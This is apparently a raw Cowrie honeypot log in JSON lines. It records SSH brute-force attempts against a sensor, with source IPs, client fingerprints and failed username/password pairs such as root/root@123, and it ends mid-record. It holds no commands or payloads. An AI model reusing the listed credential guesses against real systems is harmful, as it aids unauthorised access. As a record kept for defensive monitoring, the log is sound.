{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa112233","message":"login attempt [ubuntu/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:53.086267Z","src_ip":"183.135.11.52","session":"385a297b9204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44648,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8e442b2855","protocol":"ssh","message":"New connection: 159.203.92.129:44648 (159.203.135.109:22) [session: ce8e442b2855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:57:30.005604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:57:30.011602Z","src_ip":"159.203.92.129","session":"ce8e442b2855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:57:30.022122Z","src_ip":"159.203.92.129","session":"ce8e442b2855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acme","password":"acme","message":"login attempt [acme/acme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:57:30.062720Z","src_ip":"159.203.92.129","session":"ce8e442b2855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:57:31.071084Z","src_ip":"159.203.92.129","session":"ce8e442b2855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36152,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b63b7aff83","protocol":"ssh","message":"New connection: 159.203.92.129:36152 (159.203.135.109:22) [session: 29b63b7aff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:14.677664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:14.700588Z","src_ip":"159.203.92.129","session":"29b63b7aff83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:14.704590Z","src_ip":"159.203.92.129","session":"29b63b7aff83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acme","password":"acme123","message":"login attempt [acme/acme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:14.733550Z","src_ip":"159.203.92.129","session":"29b63b7aff83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:15.830840Z","src_ip":"159.203.92.129","session":"29b63b7aff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.230.16.40","src_port":55940,"dst_ip":"10.17.0.5","dst_port":22,"session":"cece82fcd26a","protocol":"ssh","message":"New connection: 4.230.16.40:55940 (10.17.0.5:22) [session: cece82fcd26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:28.160638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:28.292200Z","src_ip":"4.230.16.40","session":"cece82fcd26a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:28.489689Z","src_ip":"4.230.16.40","session":"cece82fcd26a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:29.677746Z","src_ip":"4.230.16.40","session":"cece82fcd26a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:30.975408Z","src_ip":"4.230.16.40","session":"cece82fcd26a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":27923,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff3e25fffca","protocol":"ssh","message":"New connection: 20.193.141.133:27923 (10.17.0.5:22) [session: eff3e25fffca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:38.291236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:38.295751Z","src_ip":"20.193.141.133","session":"eff3e25fffca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:38.483940Z","src_ip":"20.193.141.133","session":"eff3e25fffca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sunshine","message":"login attempt [ubuntu/sunshine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:39.265864Z","src_ip":"20.193.141.133","session":"eff3e25fffca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:40.457566Z","src_ip":"20.193.141.133","session":"eff3e25fffca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00381898880005,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:48.279940Z","src_ip":"70.65.190.120","session":"20bed861fe5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:50.581969Z","src_ip":"183.135.11.52","session":"385a297b9204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33130,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56e36b17212","protocol":"ssh","message":"New connection: 159.203.92.129:33130 (159.203.135.109:22) [session: f56e36b17212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:59.615510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:59.650009Z","src_ip":"159.203.92.129","session":"f56e36b17212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:59.654112Z","src_ip":"159.203.92.129","session":"f56e36b17212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acs","password":"123","message":"login attempt [acs/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:58:59.765177Z","src_ip":"159.203.92.129","session":"f56e36b17212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:00.772924Z","src_ip":"159.203.92.129","session":"f56e36b17212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":60766,"dst_ip":"10.17.0.5","dst_port":22,"session":"b17a7c8dd118","protocol":"ssh","message":"New connection: 20.193.141.133:60766 (10.17.0.5:22) [session: b17a7c8dd118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:36.218732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:36.223643Z","src_ip":"20.193.141.133","session":"b17a7c8dd118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:36.425268Z","src_ip":"20.193.141.133","session":"b17a7c8dd118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mytest","password":"mytest","message":"login attempt [mytest/mytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:37.261291Z","src_ip":"20.193.141.133","session":"b17a7c8dd118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:38.463771Z","src_ip":"20.193.141.133","session":"b17a7c8dd118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44666,"dst_ip":"159.203.135.109","dst_port":22,"session":"170dd51e5e22","protocol":"ssh","message":"New connection: 159.203.92.129:44666 (159.203.135.109:22) [session: 170dd51e5e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:44.404199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:44.408902Z","src_ip":"159.203.92.129","session":"170dd51e5e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:44.416437Z","src_ip":"159.203.92.129","session":"170dd51e5e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acs","password":"123456","message":"login attempt [acs/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:44.432456Z","src_ip":"159.203.92.129","session":"170dd51e5e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:59:45.442171Z","src_ip":"159.203.92.129","session":"170dd51e5e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":25338,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f2574d071d","protocol":"ssh","message":"New connection: 20.193.141.133:25338 (10.17.0.5:22) [session: 09f2574d071d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:36.323579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:36.328832Z","src_ip":"20.193.141.133","session":"09f2574d071d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAl